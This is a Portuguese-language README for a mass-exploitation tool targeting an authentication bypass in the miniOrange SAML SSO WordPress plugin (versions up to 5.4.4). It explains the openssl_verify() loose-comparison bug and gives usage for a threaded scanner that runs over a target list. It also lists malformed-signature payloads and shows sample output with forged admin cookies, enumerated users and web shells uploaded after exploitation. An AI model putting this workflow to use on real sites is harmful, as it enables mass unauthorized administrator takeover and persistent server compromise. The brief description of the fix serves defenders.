
SAML Single Sign On <= 5.4.4 - Bypass de Autenticação Não Autenticado via Parâmetro SAMLResponse
SAML Single Sign On <= 5.4.4 - Bypass de Autenticação Não Autenticado via Parâmetro SAMLResponse
Exploit de Prova de Conceito
Assinatura Malformada → `openssl_verify()` retorna `-1` → conversão frouxa do PHP para `true` → `wp_set_auth_cookie()` como Administrador
O plugin SAML Single Sign On – SSO Login para WordPress é vulnerável a Bypass de Autenticação em todas as versões até, e incluindo, 5.4.4. Isso se deve ao fato de a função mo_saml_validate_signature() realizar uma verificação booleana frouxa no inteiro bruto de três estados retornado por openssl_verify() do PHP, fazendo com que um valor de retorno de erro de -1 seja avaliado como verdadeiro e, portanto, tratado como uma verificação de assinatura bem-sucedida.
Isso torna possível que atacantes não autenticados façam login como qualquer usuário existente do WordPress, incluindo administradores, ao enviar um SAMLResponse especialmente criado contendo um NameID controlado pelo atacante e um valor de assinatura deliberadamente malformado que dispara um erro de processamento do OpenSSL — ignorando a verificação por completo e resultando na chamada de wp_set_auth_cookie() para a conta visada.
Attacker sends crafted SAMLResponse
│
▼
mo_saml_validate_signature()
│
▼
openssl_verify($data, $malformed_sig, $key)
│
├─ Returns 1 → valid signature ✓
├─ Returns 0 → invalid signature ✗
└─ Returns -1 → OpenSSL internal error
│
▼
PHP loose comparison: if ($result)
│
├─ (int) 1 → true ✓
├─ (int) 0 → false ✓
└─ (int) -1 → true ← BUG: error treated as success
│
▼
wp_set_auth_cookie() called
│
▼
Attacker is now Administrator
A correção é trivial — if ($result === 1) em vez de if ($result) — mas o impacto da falha é o bypass total de autenticação.
?option=mosaml_metadata/wp-json/wp/v2/users)/?author=N)?option=saml_user_login e extrai URLs base do IdPlxml</Issuer> conforme a especificação SAMLopenssl_verify() = -1Python >= 3.8
pip install requests lxml
lxmlé necessário para a canonicalização Exclusive C14N adequada da Assertion SAML.
python CVE-2026-15981.py
Você será solicitado a informar:
| Prompt | Descrição | Padrão |
|---|---|---|
| Arquivo de alvos | Caminho para um arquivo de texto com um alvo por linha | list.txt |
| Threads | Número de workers concorrentes (1–100) | 5 |
https://example.com
http://target.org
subdomain.example.net
192.168.1.100
https://example.com/wordpress
Uma URL por linha. HTTP é usado por padrão se nenhum esquema for especificado.
███████╗███╗ ███╗███████╗
██╔════╝████╗ ████║██╔════╝
███████╗██╔████╔██║███████╗
╚════██║██║╚██╔╝██║╚════██║
███████║██║ ╚═╝ ██║███████║
╚══════╝╚═╝ ╚═╝╚══════╝
╔══════════════════════════════════════════════════════════╗
║ miniOrange SAML SSO <= 5.4.4 ║
║ openssl_verify() -1 Bypass -> Admin Session ║
╚══════════════════════════════════════════════════════════╝
By: Nxploited ( Khaled Alenazi ) - Nxploited ZeroDay Hub
T.m @Kxploit
Cada alvo progride por 7 estágios rotulados:
============================================================
target.com
============================================================
[1] WordPress
confirmed
[2] SAML plugin
version: 5.4.4
miniOrange SAML detected
[3] SP metadata
metadata entityID: https://target.com/...
metadata ACS: https://target.com/
[4] Users
REST: admin (id=1)
REST: editor (id=2)
author/3: johndoe
4 found: ['admin', 'editor', 'johndoe', 'target']
[5] Issuers
SSO redirect found
3 candidates
[6] Exploit
COOKIE! #14 user=admin 0xFF*256/rsa-sha256
wordpress_logged_in_abc123=admin%7C1753...
wp-admin accessible
user=admin [email protected]
users.php -> Admin
[7] Shell upload
M1: plugin uploaded
SHELL (M1-plugin): https://target.com/wp-content/plugins/nxproof/Nx.php
-> Nx-zD Linux target 6.1.0 x86_64 uid=33(www-data) ...
+==========================================================+
| ADMIN SESSION CONFIRMED |
+==========================================================+
| Target : https://target.com
| User : admin
| Issuer : https://idp.example.com/simplesaml/...
| Method : 0xFF*256/rsa-sha256
| Cookie : wordpress_logged_in_abc123=admin%7C1753...
| Shell : https://target.com/wp-content/plugins/nxproof/Nx.php
+==========================================================+
| Arquivo | Conteúdo |
|---|---|
sms.txt | Uma linha por sessão de administrador confirmada — timestamp, alvo, usuário, cookie, URL do shell, emissor, método de assinatura |
sms_debug.json | JSON de diagnóstico completo para cada alvo — incluindo contagens de tentativas e classificações de falha |
[2026-07-26 09:14:52] https://target.com | ADMIN | user=admin | cookie=wordpress_logged_in_...
| SHELL=https://target.com/wp-content/plugins/nxproof/Nx.php | issuer=https://idp.example.com/...
| sig=0xFF*256/rsa-sha256
============================================================
DONE - 142.3s
============================================================
ADMIN=3 miss=47 skip=100
results -> sms.txt debug -> sms_debug.json
============================================================
Target
│
├─ [1] WordPress Detection
│ └─ wp-login.php / wp-json / jQuery fingerprint
│
├─ [2] SAML Plugin Detection
│ ├─ readme.txt version check (≤ 5.4.4)
│ └─ SAML signature detection in HTML
│
├─ [3] SP Metadata Discovery
│ └─ ?option=mosaml_metadata → entityID + ACS URL
│
├─ [4] User Enumeration
│ ├─ REST API /wp/v2/users (bulk + per-ID)
│ ├─ Author archive redirect (/?author=N)
│ ├─ HTML body pattern matching
│ └─ Domain fallback + common admin names
│
├─ [5] IdP Issuer Discovery
│ ├─ ?option=saml_user_login redirect → IdP URL
│ └─ wp-login.php SAML link extraction
│
├─ [6] SAMLResponse Forgery & Delivery
│ │
│ │ For each (user × issuer × algorithm × signature × audience × SP ID):
│ │
│ ├─ Build SAML Assertion with attacker-controlled NameID
│ ├─ Canonicalize via Exclusive C14N (lxml)
│ ├─ Compute correct DigestValue for the Assertion
│ ├─ Inject malformed SignatureValue (0xFF×256, ASN.1 junk, etc.)
│ ├─ Wrap in <samlp:Response>, Base64 encode
│ ├─ POST SAMLResponse to ACS URL
│ ├─ Check for wordpress_logged_in_* cookie
│ ├─ If cookie found → verify admin role via wp-admin
│ └─ Classify failure via diagnostic engine
│
└─ [7] Post-Exploitation (on admin session)
├─ M1: Plugin ZIP upload + activation
├─ M2: REST API plugin upload
├─ M3: Theme/Plugin editor file write
├─ M4: Media async upload
└─ Shell execution verification (Nx-zD signature)
O exploit inclui 12+ payloads de assinatura especificamente criados para acionar openssl_verify() = -1:
Cada um é combinado com URIs de algoritmo SHA-1 e SHA-256, e testado com/sem restrição de Audience, em vários Entity IDs do SP — maximizando a chance de atingir o caminho de retorno -1 em qualquer versão do OpenSSL.
Esta ferramenta é fornecida estritamente para testes de segurança autorizados e fins de pesquisa educacional. Use-a apenas em sistemas que você possua ou para os quais tenha autorização escrita explícita para testar.
O acesso não autorizado a sistemas de computador é crime. O autor não assume nenhuma responsabilidade por uso indevido, danos ou quaisquer consequências legais decorrentes do uso deste software. Você é o único responsável por garantir a conformidade com todas as leis e regulamentos aplicáveis em sua jurisdição.
Por: Nxploited
Khaled Alenazi — Nxploited ZeroDay Hub
T.m @Kxploit
| Campo | Detalhe |
|---|
| ID CVE | CVE-2026-15981 |
| Plugin Afetado | miniOrange SAML 2.0 Single Sign On – SSO Login (WordPress) |
| Versões Afetadas | Todas as versões até 5.4.4, inclusive |
| Tipo | Bypass de Autenticação Não Autenticado |
| CWE | CWE-287: Autenticação Incorreta / CWE-305: Bypass de Autenticação por Fraqueza Primária |
| CVSS 3.1 | 9.8 CRÍTICO — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Autenticação | Nenhuma necessária |
wordpress_logged_in_*/wp-admin/, /wp-admin/users.php, /wp-admin/plugins.php/wp-admin/profile.phpplugin-install.php/wp-json/wp/v2/pluginsNx-zD no corpo da resposta| Payload | Descrição |
|---|
0xFF * 256 | 256 bytes de 0xFF — padding PKCS#1 inválido |
0xFF * 384 | 384 bytes para tamanhos de chave RSA-3072 |
0xFF * 512 | 512 bytes para tamanhos de chave RSA-4096 |
0xFF * 128 | Buffer mais curto para tamanhos de chave menores |
0xFF * 64 | Padding inválido mínimo |
0x00 0x01 0xFF*254 | Parece PKCS#1 v1.5, mas com estrutura incorreta |
0x00 0x01 0xFF*126 | Estrutura semelhante a PKCS#1 mais curta |
null_2B | Dois bytes adjacentes a nulo |
rand_3B / rand_7B | Bytes aleatórios — aciona erros de análise |
asn1_bad | Sequência ASN.1 DER malformada |
ff_1B | Um único byte 0xFF |